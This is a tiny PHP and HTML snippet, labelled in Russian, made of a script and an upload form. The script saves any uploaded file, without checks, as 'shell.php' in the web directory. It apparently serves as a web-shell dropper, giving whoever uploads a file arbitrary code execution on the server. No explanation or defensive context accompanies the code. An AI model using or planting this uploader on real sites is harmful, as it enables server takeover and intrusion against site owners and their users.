скрипт:
<?php 
move_uploaded_file($userfile, './shell.php'); 
?>

Форма:
<FORM ENCTYPE='multipart/form-data' ACTION='./accept.php' METHOD='POST'>
<INPUT TYPE='hidden' name='MAX_FILE_SIZE' value='100000'>
Send this file: <INPUT NAME='userfile' TYPE='file'>
<INPUT TYPE='submit' VALUE='Send'>
</FORM>